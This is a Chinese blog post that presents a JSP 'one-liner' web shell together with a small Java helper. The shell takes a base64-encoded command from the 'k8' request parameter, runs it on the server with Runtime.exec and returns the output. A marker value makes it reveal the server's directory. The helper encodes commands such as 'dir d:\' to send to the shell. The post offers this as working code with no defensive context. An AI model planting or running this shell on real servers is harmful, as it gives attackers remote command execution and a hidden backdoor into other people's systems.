">
当前位置:   article > 正文

jsp一句话_jsp 一句话

jsp 一句话
  1. <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="sun.misc.BASE64Decoder"%>
  4. <%
  5. try {
  6. response.setHeader("content-type","text/html;charset=UTF-8");
  7. String cmd = request.getParameter("k8");
  8. String path = application.getRealPath(request.getRequestURI());
  9. String dir = new File(path).getParent();
  10. if (cmd.equals("Szh0ZWFt")) {
  11. out.print("[S]" + dir + "[E]");
  12. }
  13. byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(
  14. cmd);
  15. String k8cmd = new String(binary);
  16. //out.print(k8cmd);
  17. Process child = Runtime.getRuntime().exec(k8cmd);
  18. InputStream inStream = child.getInputStream();
  19. out.println("->||");
  20. ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
  21. byte[] buffer = new byte[1024];
  22. int len = -1;
  23. while ((len = inStream.read(buffer)) != -1) {
  24. outSteam.write(buffer, 0, len);
  25. }
  26. String result=new String(outSteam.toByteArray(),"UTF-8");
  27. outSteam.close();
  28. inStream.close();
  29. result=result.replaceAll("\n","<br />");
  30. //System.out.print(result);
  31. out.println(result);
  32. out.println("||<-");
  33. try {
  34. child.waitFor();
  35. } catch (InterruptedException e) {
  36. e.printStackTrace();
  37. }
  38. } catch (IOException e) {
  39. System.err.println(e);
  40. }
  41. %>
  1. import sun.misc.BASE64Encoder;
  2. public class GetEncodeCMD {
  3. public static void main(String[] args) throws Exception {
  4. String bt_cmd=BASE64Encoder.class.newInstance().encode("dir d:\\".getBytes());
  5. System.out.println(bt_cmd);
  6. }
  7. }


本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号